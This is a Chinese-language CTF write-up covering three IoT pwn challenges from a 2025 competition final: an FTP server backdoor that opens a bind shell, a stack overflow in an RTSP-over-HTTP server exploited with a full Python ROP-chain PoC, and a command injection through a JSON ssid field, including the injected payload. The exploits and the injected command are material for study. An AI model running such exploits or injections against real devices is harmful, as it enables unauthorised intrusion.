西湖论剑2025决赛IOT安全挑战(漏洞挖掘部分)

两只羊 Lv2

前言

最近在学习IOT安全,刚好队友把西湖论剑决赛的板子带回来了,就来试着做一做。

相比24年给的openwrt开发版上进行应急响应,今年提供的树莓派少了很多硬件上的操作,直接ssh上去就可以做题了,省略了固件提取的部分,甚至给了完整的镜像,更偏向CTF的解题模式。

目前只做了pwn的部分,漏洞点本身不难,但优化去符号的程序给分析带来了极大的困难,需要具备一定的逆向能力。

题目镜像链接

https://pro-resource.dasctf.com/resource/oss/ef6e9de7fc5772f8fccd0d96d254f67d.zip

连接树莓派

插入烧录好的sd卡,使用usb线连接上设备

34d23889d9927aa2b1f6e97a59f3cca5

查看题目手册

image-20251201170215253

在windows环境上连接时,一开始会被识别位COM口,需要安装USB Ethernet/RNDIS Gadget的驱动然后更改

image-20251201164859803

配置好网卡的ip,ping通树莓派后就可以ssh上去做题了

image-20251201170116882

pass_9_levels-7

image-20251201193633831

难度为非常容易。flag1是virtualbox protector混淆过的checker,看一眼就会爆炸

381faa3d492e78ddcb55920fc55feeb3

主要还是分析chall1用户起来的dasftpd,这是一个ftp的服务端,我们直接能找到一个/bin/sh的后门

image-20251201203253738

查看引用

image-20251201203308525

大概的意思就是,当ftp连接时用户名中有:D字样就会开启一个监听25329端口的正向shell

image-20251201203327397

在进行操作前

image-20251201202455041

在ftp连接时输入用户名admin:D,服务直接卡住

image-20251201202546720

回来发现反弹shell的端口成功开启

image-20251201202536258

成功连上shell,执行./flag1 chall1后拿到flag

DASCTF{8b7a732a6363147fce9a2918930c125a}

image-20251201203206991

pass_9_levels-8

image-20251201203634858

给了一个RTSP的服务端,我们可以先大致了解一下RTSP协议

img

简单看看文件信息,保护全关,只要能找到一个栈溢出基本就拿下了

image-20251202091536205

使用telnet连接,首先看看是否支持接口

1
2
3
4
5
6
7
8
9
OPTIONS rtsp://10.10.10.133:8554 RTSP/1.0
CSeq: 1
User-Agent: TelnetTest


RTSP/1.0 200 OK
CSeq: 1
Date: Sun, Mar 16 2025 19:36:54 GMT
Public: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER

image-20251205103326398

尝试请求媒体文件,用ida获取的路径试一下

1
2
3
4
5
6
7
8
9
DESCRIBE rtsp://10.10.10.133:8554/Pic_Stream RTSP/1.0
CSeq: 2
Accept: application/sdp
User-Agent: TelnetTest


RTSP/1.0 404 File Not Found, Or In Incorrect Format
CSeq: 2
Date: Sun, Mar 16 2025 19:45:29 GMT

使用qemu仿真调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
twogoat@twogoat-virtual-machine:~/Desktop/xihulunjian/9-8/rootfs$ tree
.
├── baby_rtsp
├── lib
│   ├── libxcc_s.so.1
│   ├── libx.so
│   ├── libx.so.6
│   ├── libxtdc++.so.6
│   └── lx-linux.so.3
└── qemu-arm-static

1 directory, 7 files
twogoat@twogoat-virtual-machine:~/Desktop/xihulunjian/9-8/rootfs$ sudo chroot . ./qemu-arm-static ./baby_rtsp


成功开启服务并访问

image-20251202184759523

开启调试

image-20251202184918814

先尝试一下路径名是否存在溢出

1
2
3
4
5
6
7
8
9
DESCRIBE rtsp://10.10.10.133:8553/Pic_StreamAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RTSP/1.0
CSeq: 2
Accept: application/sdp
User-Agent: TelnetTest


RTSP/1.0 404 File Not Found, Or In Incorrect Format
CSeq: 2
Date: Sun, Mar 16 2025 19:45:29 GMT

这里数组大小为432字节

image-20251203212053817

但在超过一定长度限制后,会直接返回400 Bad Request

1
2
3
4
5
6
7
8
9
b'DESCRIBE rtsp://192.168.197.134:4645/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x19\x14E\x11 RTSP/1.0\r\nCSeq: 2\r\nAccept: application/sdp\r\nUser-Agent: TelnetTest\r\n\r\n'

==================== SERVER RESPONSE ====================
RTSP/1.0 400 Bad Request
Date: Tue, Dec 02 2025 11:17:05 GMT
Allow: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER


=========================================================

在处理请求的地方,对各部分长度的限制读取长度为最大200字节,应该不是这里的漏洞

image-20251202193059044

如果DESCRIBE一直通过不了,那SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER就全部不可用了,而且程序也没提供推流功能(ANNOUNCE),那么漏洞应该在别的地方

我们可以看到程序中有对GET和POST的处理,应该支持RTSP Over HTTP,我们浏览器直接访问一下,发现先会对请求头进行校验

image-20251204152206999

其中x-sessioncookie和Accept是必须的,就是在这里产生了漏洞

image-20251204143736446

经过测试发现,当传入所需要的字段有多个,比如传入

1
2
3
x-sessioncookie: AAAA
x-sessioncookie: BBBB
x-sessioncookie: CCCC

会将他们拼接一起,最后的x-sessioncookie值即为

1
AAAABBBBCCCC

并且长度只会检查每一次获取的字段不超过200字节,它根本不会检查最后总共有没有超过200字节,这里就会造成栈溢出漏洞

我们传入多个A,可以看到我们已经完全控制了栈

813294cd67255d6691331550afce8995

存放Accept字段的地址设置在了bss段,我们可以轻松构造rop链

image-20251204150631122

找一波gadget

image-20251204154633631

在树莓派上测试,成功执行命令

image-20251204151513241

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
import socket
import time

elf = ELF("baby_rtsp")

#TARGET_IP = "192.168.197.134"
TARGET_IP = "10.10.10.133"
TARGET_PORT = 4646

addr_system = 0x00011888
addr_shell = 0x0006EA70

pop_r3_pc = 0x00011654
mov_r0_r3_pop_r4_pc = 0x00020f28

def raw_socket_request():
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT} ...")

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((TARGET_IP, TARGET_PORT))

payload = b""

payload += b"GET /Pic_Stream HTTP/1.1\r\n"
payload += b"CSeq: 1\r\n"
payload += b"User-Agent: twogoat\r\n"

for i in range(404):
payload += b"x-sessioncookie: A\r\n"

for i in range(8):
payload += b"x-sessioncookie: " + p32(0x11451419) + b"\r\n"

payload += b"x-sessioncookie: " + p32(pop_r3_pc) + b"\r\n"
payload += b"x-sessioncookie: " + p32(addr_shell) + b"\r\n"
payload += b"x-sessioncookie: " + p32(mov_r0_r3_pop_r4_pc) + b"\r\n"
payload += b"x-sessioncookie: " + p32(0x114514) + b"\r\n"
payload += b"x-sessioncookie: " + p32(addr_system) + b"\r\n"

payload += b"Accept: ./flag2 chall2\r\n"

payload += b"Pragma: no-cache\r\n"
payload += b"Cache-Control: no-cache\r\n"

payload += b"\r\n"


s.sendall(payload)


time.sleep(10)

except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
print("[*] Socket closed.")

if __name__ == "__main__":
raw_socket_request()

执行poc后得到flag,DASCTF{bb5b6a80d630d1b4528b26d463bc1705}

image-20251204151630455

pass_9_levels-9

image-20251204152350304

看启动信息可能是模拟了一个摄像头管理后台之类的,但由于没有前端可用,只开了个7519端口,具体服务接口需要我们手动去逆向分析

image-20251205103751678

题目提示为json数据包,那么也就是说应该是用json传参

image-20251205103828534

先fuzz一下看看哪些CMD ID可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
import json
import time

def fuzz_cmd(cmd_id):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect(('10.10.10.133', 7519))

payload = json.dumps({"CMD": cmd_id, "PARAM": {}})
s.sendall(payload.encode())

try:
resp = s.recv(1024)
if resp:
print(f"[+] CMD {cmd_id} Response: {resp}")
except:
pass
s.close()
except:
pass

print("Fuzzing CMD IDs...")
for i in range(0, 100):
fuzz_cmd(i)

可以看到简单测试后能成功获得回显

CMD 0是get了一些信息,那么肯定会有set的逻辑

image-20251202094619157

而在查找system的引用后,我们可以看到更新ssid的函数疑似会存在命令注入漏洞

image-20251205104058391

image-20251205105433537

我们先字符串定位到处理处理ID 0的函数,下一步就是在尾部下断点看看是哪里调用了它

image-20251205104020110

利用qemu仿真,功能基本上能正常使用

image-20251203192338508

处理ID 0的函数结束后,来到了到cmd_handle的处理函数

image-20251203195925915

在存放cmd_handler的链表中,可以找到关于ssid的处理函数对应的CMD ID为0x44

image-20251203195851465

发送测试payload,可以看到成功拼接了我们发送过去的ssid并执行命令

image-20251203200249450

用一个echo测试一下,在真机上成功执行命令,没有做任何过滤

image-20251203200850011

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import json
import time

def send_exploit(cmd_id, ssid_payload):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('10.10.10.133', 7519))

data = {
"CMD": cmd_id,
"PARAM": {
"ssid": ssid_payload,
"phrase": "twogoat"
}
}

payload = json.dumps(data)
print(f"[+] Sending Exploit to CMD {cmd_id}: {payload}")
s.sendall(payload.encode())

resp = s.recv(1024)
print(f"[+] Response: {resp.decode(errors='ignore')}")
s.close()
except Exception as e:
print(f"[-] Error: {e}")


cmd = "twogoat';./flag3 chall3;'"

send_exploit(0x44, cmd)


执行payload后成功生成flag,DASCTF{49d5dcfde3f105311ee6edeb766ae8ba}

image-20251204152011060

  • 标题: 西湖论剑2025决赛IOT安全挑战(漏洞挖掘部分)
  • 作者: 两只羊
  • 创建于 : 2025-12-05 10:08:59
  • 更新于 : 2025-12-05 11:04:40
  • 链接: https://twogoat.github.io/2025/12/05/2025西湖论剑决赛IOT安全挑战-漏洞挖掘部分/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
西湖论剑2025决赛IOT安全挑战(漏洞挖掘部分)